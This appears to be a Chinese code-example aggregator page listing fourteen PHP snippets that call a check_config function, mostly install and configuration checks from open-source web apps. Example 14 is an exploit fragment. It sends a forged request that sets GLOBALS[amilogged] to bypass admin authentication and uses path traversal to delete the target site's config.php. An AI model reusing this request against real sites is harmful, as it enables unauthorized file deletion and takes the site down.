本文整理汇总了PHP中check_config函数的典型用法代码示例。如果您正苦于以下问题:PHP check_config函数的具体用法?PHP check_config怎么用?PHP check_config使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了check_config函数的14个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: check_install
//.........这里部分代码省略.........
}
// Check for virtual folders
$virtual_folders = array(sanitize_path($config['virtual_folder_image']), sanitize_path($config['virtual_folder_uploaded']));
foreach ($virtual_folders as $folder) {
if (file_exists(__CHV_ROOT_DIR__ . $folder)) {
$install_errors[] = 'The directory <code>' . __CHV_RELATIVE_ROOT__ . $folder . '</code> must not exists';
}
}
if (count($install_errors) > 0) {
chevereto_die($install_errors, 'Virtual folders error', $virtual_folder_error);
}
// Check for upload.php
if (!file_exists(__CHV_ROOT_DIR__ . 'upload.php')) {
chevereto_die('Can\'t find <code>upload.php</code>', 'Missing upload.php', $file_error);
}
// Check for the root .htaccess file
if (!file_exists(__CHV_ROOT_DIR__ . '.htaccess')) {
chevereto_die('', '.htaccess error', $root_htaccess_error);
}
// Admin folder
if (!check_value($config["admin_folder"])) {
$config["admin_folder"] = "admin";
}
if (!file_exists(__CHV_PATH_ADMIN__)) {
chevereto_die('', 'Admin folder doesn\'t exists', $admin_folder_error);
}
// Check for the other .htaccess files
$htaccess_files = array(__CHV_PATH_IMAGES__, __CHV_PATH_INCLUDES__, __CHV_PATH_ADMIN_INCLUDES__);
foreach ($htaccess_files as $dir) {
if (!file_exists($dir . '.htaccess')) {
switch ($dir) {
case __CHV_PATH_IMAGES__:
$rules = 'static';
break;
case __CHV_PATH_INCLUDES__:
case __CHV_PATH_ADMIN_INCLUDES__:
$rules = 'deny';
break;
}
if (!htaccess($rules, $dir)) {
$install_errors[] = 'Can\'t create <code>' . $dir . '.htaccess</code> file. Please upload the <code>.htaccess</code> file to the target dir';
}
}
}
if (count($install_errors) > 0) {
chevereto_die($install_errors, '.htaccess error', $htaccess_error);
}
// Files check
$include_files = array('chevereto.php', 'uploader.php', 'shorturl.php', 'definitions.php', 'template.functions.php');
$classes_files = array('class.handler.php', 'class.db.php', 'class.upload.php', 'class.filelist.php', 'class.imageresize.php', 'class.imageconvert.php', 'class.minify.php', 'class.shorturl.php');
$system_files = array('login.php', 'error.php', 'style.css', 'img/chevereto.png', 'img/logo.png', 'img/ico-warn.png', 'img/background.png', 'img/bkg-content.png');
$system_files_minify = array('style.css');
$system_files = array_merge_minified($system_files, $system_files_minify);
$system_js_files = array('uploadify.swf', 'ZeroClipboard.swf', 'pref.php');
$system_js_files_minify = array('jquery.js', 'chevereto.js', 'functions.js', 'jquery.uploadify-3.1_chevereto.js');
$system_js_files = array_merge_minified($system_js_files, $system_js_files_minify);
// Admin files
$admin_classes_files = array('class.adminhandler.php', 'class.manage.php');
$admin_system_files = array('header.php', 'filemanager.php');
$admin_system_files_minify = array('style.css', 'js/admin.js');
$admin_system_files = array_merge_minified($admin_system_files, $admin_system_files_minify);
foreach ($include_files as $key => $value) {
$include_files[$key] = __CHV_PATH_INCLUDES__ . $value;
}
foreach ($classes_files as $key => $value) {
$classes_files[$key] = __CHV_PATH_CLASSES__ . $value;
}
foreach ($system_files as $key => $value) {
$system_files[$key] = __CHV_PATH_SYSTEM__ . $value;
}
foreach ($system_js_files as $key => $value) {
$system_js_files[$key] = __CHV_PATH_SYSTEM_JS__ . $value;
}
foreach ($admin_classes_files as $key => $value) {
$admin_classes_files[$key] = __CHV_PATH_ADMIN_CLASSES__ . $value;
}
foreach ($admin_system_files as $key => $value) {
$admin_system_files[$key] = __CHV_PATH_ADMIN_SYSTEM__ . $value;
}
/*** The complete file check array ***/
$check_files = array('Includes' => $include_files, 'Classes' => $classes_files, 'System Files' => array_merge($system_files, $system_js_files), 'Admin .htaccess' => array(__CHV_PATH_ADMIN_INCLUDES__ . '.htaccess'), 'Admin Classes' => $admin_classes_files, 'Admin System' => $admin_system_files);
foreach ($check_files as $key => $value) {
check_files_folders($value, 'File');
}
if (count($install_errors) > 0) {
chevereto_die($install_errors, 'Setup error', $file_error);
}
if (!check_config()) {
chevereto_die($install_errors, 'Config error', $config_error);
}
if (!check_definitions()) {
chevereto_die($install_errors, 'Please change definitions.php', $definitions_error);
}
if (!check_theme()) {
chevereto_die($install_errors, 'Theme error', $theme_error);
}
if (!check_theme_data()) {
chevereto_die($install_errors, 'Theme data error', $theme_data_error);
}
}
示例2: array
}
if (!x($_SESSION, 'sysmsg_info')) {
$_SESSION['sysmsg_info'] = array();
}
/*
* check_config() is responsible for running update scripts. These automatically
* update the DB schema whenever we push a new one out. It also checks to see if
* any plugins have been added or removed and reacts accordingly.
*/
if ($a->install) {
/* Allow an exception for the view module so that pcss will be interpreted during installation */
if ($a->module != 'view') {
$a->module = 'setup';
}
} else {
check_config($a);
}
nav_set_selected('nothing');
$arr = array('app_menu' => $a->get_apps());
call_hooks('app_menu', $arr);
$a->set_apps($arr['app_menu']);
/**
*
* We have already parsed the server path into $a->argc and $a->argv
*
* $a->argv[0] is our module name. We will load the file mod/{$a->argv[0]}.php
* and use it for handling our URL request.
* The module file contains a few functions that we call in various circumstances
* and in the following order:
*
* "module"_init
示例3: elseif
ob_start();
require $file_name;
if (ob_get_level()) ob_end_clean();
}
# Configuration File check
if (! file_exists($app['config_file'])) {
error(sprintf(_('You need to configure %s. Edit the file "%s" to do so. An example config file is provided in "%s.example".'),app_name(),$app['config_file'],$app['config_file']),'error',null,true);
} elseif (! is_readable($app['config_file'])) {
error(sprintf('Fatal error: Cannot read your configuration file "%s", its permissions may be too strict.',$app['config_file']),'error',null,true);
}
# If our config file fails the sanity check, then stop now.
if (! $config = check_config($app['config_file'])) {
$www['page'] = new page();
$www['body'] = new block();
$www['page']->block_add('body',$www['body']);
$www['page']->display();
exit;
} else {
app_session_start();
$_SESSION[APPCONFIG] = $config;
}
if ($uri = get_request('URI','GET'))
header(sprintf('Location: cmd.php?%s',base64_decode($uri)));
if (! preg_match('/^([0-9]+\.?)+/',app_version())) {
示例4: date_default_timezone_set
date_default_timezone_set('UTC');
define('ABSPATH', __DIR__);
/* load core functions */
require_once ABSPATH . '/includes/functions.common.php';
if (!is_writable(ABSPATH . '/')) {
exit(ABSPATH . ' is not writable.');
}
/* Load Configurations or start installation */
if (file_exists(ABSPATH . '/config.php')) {
require_once ABSPATH . '/config.php';
} else {
header("Location: install.php");
exit;
}
// Check config.php if it is correct
$config_timestamp = 0;
$config_timestamp_now = filemtime(ABSPATH . '/config.php');
if (file_exists(ABSPATH . '/config.timestamp')) {
$config_timestamp = file_get_contents(ABSPATH . '/config.timestamp');
}
if ($config_timestamp != $config_timestamp_now) {
check_config();
file_put_contents(ABSPATH . '/config.timestamp', $config_timestamp_now);
}
define('SUPPORT_TYPE', 'jpg|jpeg|jpe|jfif|jfi|jif|gif|png|svg');
header("X-Qchan-Info: Qchan is an image hosting freeware, is developed by Quadra Studio, and published under GPLv3.");
/* Load functions */
require_once ABSPATH . '/includes/functions.language.php';
require_once ABSPATH . '/includes/functions.theme.php';
require_once ABSPATH . '/includes/functions.upload.php';
$lang = load_lang(defined('MANAGE_RUN'));
示例5: read_config
return;
}
if (array_key_exists("l", $config_command_line)) {
read_config($config_command_line['l']);
$config = array_merge($config, $config_command_line);
} else {
$config = $config_command_line;
}
if (array_key_exists("s", $config_command_line)) {
write_config($config['s']);
}
$downloadFiles = array_key_exists("f", $config);
global $verbose;
$verbose = array_key_exists("v", $config);
check_backup_folder();
if (check_config()) {
do_backup($downloadFiles);
} else {
echo $usage;
return -1;
}
$total_time = (time() - $start) / 60;
echo "Duration: {$total_time} minutes.\n";
function check_backup_folder()
{
global $config;
$folder = $config['backupTo'];
if (!is_dir($folder)) {
show_error("ERROR: create a backup folder called '" . $folder . "'");
exit;
}
示例6: base_url
<img src="<?php
echo base_url('assets/admin/icons');
?>
/calendar-icon.png" style="width:260px;height:18-px;" />
<p class="lead">Let's install BookIt with in 2 easy step :-)</p>
<ol>
<li>Database setup</li>
<li>Account setup</li>
</ol>
<?php
$error = check_config();
if ($error != '') {
echo $error;
} else {
echo '<p><a class="btn" href="' . site_url('install/dbsetup') . '">Continue</a> to the next step.</p>';
}
示例7: file_get_contents
}
}
// upload of configuration
if (Request::option('com') == "do_upload_config") {
$file_content = file_get_contents($_FILES['the_file']['tmp_name']);
// revert the changes done by indentJson
$file_content_wo_tabs = str_replace("\t", '', str_replace("\n", '', $file_content));
$jsonconfig = json_decode($file_content_wo_tabs, true);
// utf8-decode the values after json_decode has worked on it
array_walk_recursive($jsonconfig, 'utf8Decode');
if (!check_config($jsonconfig, Request::quoted('check_module'))) {
$msg ="error§". _("Die Konfigurationsdatei hat den falschen Modultyp!"). "§";
} else if (!store_config($range_id, $config_id, $jsonconfig)) {
$msg ="error§". _("Die Konfigurationsdatei konnte nicht hochgeladen werden!"). "§";
} else {
$msg = "info§". _("Die Datei wurde erfolgreich übertragen!"). "§";
}
}
//Output starts here
ob_start();
require_once 'lib/msg.inc.php'; //Funktionen für Nachrichtenmeldungen
echo "<table border=\"0\" class=\"blank\" align=\"center\" cellspacing=\"0\" cellpadding=\"0\" width=\"100%\">\n";
示例8: run
public function run()
{
/*
* Bootstrap the application, load configuration, load modules, load theme, etc.
*/
require_once 'boot.php';
sys_boot();
\App::$language = get_best_language();
load_translation_table(\App::$language, \App::$install);
/**
*
* Important stuff we always need to do.
*
* The order of these may be important so use caution if you think they're all
* intertwingled with no logical order and decide to sort it out. Some of the
* dependencies have changed, but at least at one time in the recent past - the
* order was critical to everything working properly
*
*/
if (\App::$session) {
\App::$session->start();
} else {
session_start();
register_shutdown_function('session_write_close');
}
/**
* Language was set earlier, but we can over-ride it in the session.
* We have to do it here because the session was just now opened.
*/
if (array_key_exists('system_language', $_POST)) {
if (strlen($_POST['system_language'])) {
$_SESSION['language'] = $_POST['system_language'];
} else {
unset($_SESSION['language']);
}
}
if (x($_SESSION, 'language') && $_SESSION['language'] !== $lang) {
\App::$language = $_SESSION['language'];
load_translation_table(\App::$language);
}
if (x($_GET, 'zid') && !\App::$install) {
\App::$query_string = strip_zids(\App::$query_string);
if (!local_channel()) {
$_SESSION['my_address'] = $_GET['zid'];
zid_init();
}
}
if (x($_GET, 'zat') && !\App::$install) {
\App::$query_string = strip_zats(\App::$query_string);
if (!local_channel()) {
zat_init();
}
}
if (x($_SESSION, 'authenticated') || x($_POST, 'auth-params') || \App::$module === 'login') {
require 'include/auth.php';
}
if (!x($_SESSION, 'sysmsg')) {
$_SESSION['sysmsg'] = array();
}
if (!x($_SESSION, 'sysmsg_info')) {
$_SESSION['sysmsg_info'] = array();
}
/*
* check_config() is responsible for running update scripts. These automatically
* update the DB schema whenever we push a new one out. It also checks to see if
* any plugins have been added or removed and reacts accordingly.
*/
if (\App::$install) {
/* Allow an exception for the view module so that pcss will be interpreted during installation */
if (\App::$module != 'view') {
\App::$module = 'setup';
}
} else {
check_config($a);
}
nav_set_selected('nothing');
$Router = new Router($a);
/* initialise content region */
if (!x(\App::$page, 'content')) {
\App::$page['content'] = '';
}
call_hooks('page_content_top', \App::$page['content']);
$Router->Dispatch($a);
// If you're just visiting, let javascript take you home
if (x($_SESSION, 'visitor_home')) {
$homebase = $_SESSION['visitor_home'];
} elseif (local_channel()) {
$homebase = z_root() . '/channel/' . \App::$channel['channel_address'];
}
if (isset($homebase)) {
\App::$page['content'] .= '<script>var homebase = "' . $homebase . '";</script>';
}
// now that we've been through the module content, see if the page reported
// a permission problem and if so, a 403 response would seem to be in order.
if (is_array($_SESSION['sysmsg']) && stristr(implode("", $_SESSION['sysmsg']), t('Permission denied'))) {
header($_SERVER['SERVER_PROTOCOL'] . ' 403 ' . t('Permission denied.'));
}
call_hooks('page_end', \App::$page['content']);
construct_page($a);
killme();
//.........这里部分代码省略.........
示例9: get_server_setup
function get_server_setup()
{
if (!check_config()) {
return report_config();
}
echo '
<h3>Step 1: Database</h3>
<table class="display">
<tr>
<td>SQL Server Hostname:</td>
<td><input type="text" name="my_hostname" value="localhost"></td>
</tr>
<tr>
<td>SQL Database name:</td>
<td><input type="text" name="my_database" value="calendar"></td>
</tr>
<tr>
<td>SQL Table prefix:</td>
<td><input type="text" name="my_prefix" value="phpc_"></td>
</tr>
<tr>
<td>SQL Username:</td>
<td><input type="text" name="my_username" value="calendar"></td>
</tr>
<tr>
<td>SQL Password:</td>
<td><input type="password" name="my_passwd"></td>
</tr>
<tr>
<td colspan="2">
<input type="checkbox" name="create_db" value="yes"/>
Create the database (don\'t check this if it already exists)
</td>
</tr>
<tr>
<td colspan="2">
<input type="checkbox" name="drop_tables" value="yes">
Drop tables before creating them
</td>
</tr>
<tr><td colspan="2">
<span style="font-weight:bold;">Optional: user creation on database</span>
</td></tr>
<tr><td colspan="2">
If the credentials supplied above are new, you have to be the database administrator.
</td></tr>
<tr><td colspan="2">
<input type="checkbox" name="create_user" value="yes">
Check this if you want to do it and provide admin user and password.
</td></tr>
<tr>
<td>SQL Admin name:</td>
<td><input type="text" name="my_adminname"></td>
</tr>
<tr>
<td>SQL Admin Password:</td>
<td><input type="password" name="my_adminpasswd"></td>
</tr>
<tr>
<td colspan="2">
<input name="action" type="submit" value="Install">
</td>
</tr>
</table>';
}
示例10: define
<?php
define('DEBUG_MODE', true);
require_once 'lib/lib.php';
error_reporting(E_ALL | E_STRICT);
set_error_handler("logErrorHandler", E_ALL | E_STRICT);
$config_check_result = check_config();
$private_key = Config::getInstance()->getVar('private_key');
set_time_limit(0);
ignore_user_abort(true);
if ($config_check_result != '') {
writelog('Config error');
}
$server = new BFL_RemoteAccess_Server($private_key);
$server->bindFunction('getState', 'action_getState');
$server->bindFunction('judge', 'action_judge');
$server->bindFunction('stopJudge', 'action_stopJudge');
$server->bindFunction('getTestdataVersion', 'action_getTestdataVersion');
$server->bindFunction('updateTestdata', 'action_updateTestdata');
if (!$server->listen()) {
include 'module/console/console.php';
}
function action_getState()
{
global $config_check_result;
if ($config_check_result != '') {
return 'config error: ' . $config_check_result;
}
return 'ready';
}
function action_judge($task)
示例11: app_session_start
/**
* The only function which should be called by a user
*
* @see common.php
* @see APP_SESSION_ID
* @return boolean Returns true if the session was started the first time
*/
function app_session_start()
{
$sysmsg = null;
# If we have a sysmsg before our session has started, then preserve it.
if (isset($_SESSION['sysmsg'])) {
$sysmsg = $_SESSION['sysmsg'];
}
/* If session.auto_start is on in the server's PHP configuration (php.ini), then
* we will have problems loading our schema cache since the session will have started
* prior to loading the SchemaItem (and descedants) class. Destroy the auto-started
* session to prevent this problem.
*/
if (ini_get('session.auto_start') && !array_key_exists(app_session_id_init, $_SESSION)) {
@session_destroy();
}
# Do we already have a session?
if (@session_id()) {
return;
}
@session_name(APP_SESSION_ID);
@session_start();
# Do we have a valid session?
$is_initialized = is_array($_SESSION) && array_key_exists(app_session_id_init, $_SESSION);
if (!$is_initialized) {
if (app_session_id_paranoid) {
ini_set('session.use_trans_sid', 0);
@session_destroy();
@session_id(app_session_get_id());
@session_start();
ini_set('session.use_trans_sid', 1);
}
$_SESSION[app_session_id_init]['name'] = app_name();
$_SESSION[app_session_id_init]['version'] = app_version();
$_SESSION[app_session_id_init]['config'] = filemtime(CONFDIR . 'config.php');
}
@header('Cache-control: private');
// IE 6 Fix
if (app_session_id_paranoid && !app_session_verify_id()) {
error('Session inconsistent or session timeout', 'error', 'index.php');
}
# Check we have the correct version of the SESSION cache
if (isset($_SESSION['cache']) || isset($_SESSION[app_session_id_init])) {
if (!is_array($_SESSION[app_session_id_init])) {
$_SESSION[app_session_id_init] = array();
}
if (!isset($_SESSION[app_session_id_init]['version']) || !isset($_SESSION[app_session_id_init]['config']) || !isset($_SESSION[app_session_id_init]['name']) || $_SESSION[app_session_id_init]['name'] !== app_name() || $_SESSION[app_session_id_init]['version'] !== app_version() || $_SESSION[app_session_id_init]['config'] != filemtime(CONFDIR . 'config.php')) {
$_SESSION[app_session_id_init]['name'] = app_name();
$_SESSION[app_session_id_init]['version'] = app_version();
$_SESSION[app_session_id_init]['config'] = filemtime(CONFDIR . 'config.php');
unset($_SESSION['cache']);
unset($_SESSION[APPCONFIG]);
# Our configuration information has changed, so we'll redirect to index.php to get it reloaded again.
system_message(array('title' => _('Configuration cache stale.'), 'body' => _('Your configuration has been automatically refreshed.'), 'type' => 'info', 'special' => true));
$config_file = CONFDIR . 'config.php';
$config = check_config($config_file);
if (!$config) {
debug_dump_backtrace('config is empty?', 1);
}
} else {
# Sanity check, specially when upgrading from a previous release.
if (isset($_SESSION['cache'])) {
foreach (array_keys($_SESSION['cache']) as $id) {
if (isset($_SESSION['cache'][$id]['tree']['null']) && !is_object($_SESSION['cache'][$id]['tree']['null'])) {
unset($_SESSION['cache'][$id]);
}
}
}
}
}
# If we came via index.php, then set our $config.
if (!isset($_SESSION[APPCONFIG]) && isset($config)) {
$_SESSION[APPCONFIG] = $config;
}
# Restore our sysmsg's if there were any.
if ($sysmsg) {
if (!isset($_SESSION['sysmsg']) || !is_array($_SESSION['sysmsg'])) {
$_SESSION['sysmsg'] = array();
}
$_SESSION['sysmsg'] = array_merge($_SESSION['sysmsg'], $sysmsg);
}
}
示例12: printf
printf('<title>phpLDAPadmin - %s</title>', pla_version());
echo '<link type="text/css" rel="stylesheet" href="css/style.css" />';
echo '</head>';
echo '<body>';
echo '<h3 class="title">Configure phpLDAPadmin</h3>';
echo '<br /><br />';
echo '<center>';
printf(_('You need to configure phpLDAPadmin. Edit the file "%s" to do so. An example config file is provided in "%s.example".'), $config_file, $config_file);
echo '</center>';
echo '</body>';
echo '</html>';
die;
} elseif (!is_readable($config_file)) {
pla_error(sprintf('Fatal error: Cannot read your configuration file "%s", its permissions are too strict.', $config_file));
}
if (!check_config()) {
exit;
}
echo '<?xml version="1.0" encoding="utf-8"?>' . "\n";
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML Basic 1.0//EN"' . "\n";
echo ' "http://www.w3.org/TR/xhtml-basic/xhtml-basic10.dtd">' . "\n";
echo "\n";
echo '<html xmlns="http://www.w3.org/1999/xhtml" lang="no-NO">';
if ($pagetitle = $config->GetValue('appearance', 'page_title')) {
printf('<head><title>phpLDAPadmin (%s) - %s</title></head>', pla_version(), $pagetitle);
} else {
printf('<head><title>phpLDAPadmin - %s</title></head>', pla_version());
}
printf('<frameset cols="%s,*">', $config->GetValue('appearance', 'tree_width'));
echo '<frame src="tree.php" name="left_frame" id="left_frame" />';
echo '<frame src="welcome.php" name="right_frame" id="right_frame" />';
示例13: elseif
<h3 class="title">Configure phpLDAPadmin</h1>
<br />
<br />
<center>
You need to configure phpLDAPadmin. Edit the file 'config.php' to do so.<br />
<br />
An example config file is provided in 'config.php.example'
</center>
<?php
/*
</body>
</html>
<?php */
} elseif (check_config()) {
require 'config.php';
/*
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML Basic 1.0//EN"
"http://www.w3.org/TR/xhtml-basic/xhtml-basic10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="no-NO">
<head><title>phpLDAPadmin - <?php echo pla_version(); ?></title></head>
<frameset cols="<?php echo $tree_width; ?>,*">
<frame src="tree.php" name="left_frame" id="left_frame" />
<frame src="welcome.php" name="right_frame" id="right_frame" />
示例14: remove_config
function remove_config()
{
global $host, $path;
$in_lex = "/{$path}/core/admin/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php";
$config = "GET {$in_lex} HTTP/1.1\r\n";
$config .= "User-Agent: Lynx (textmode)\r\n";
$config .= "Host: {$host}\r\n";
$config .= "Connection: close\r\n\r\n";
$lol = send_request($config);
if (check_config() != FALSE) {
die("register_globals=off, exploit failed!\n");
} else {
return true;
}
}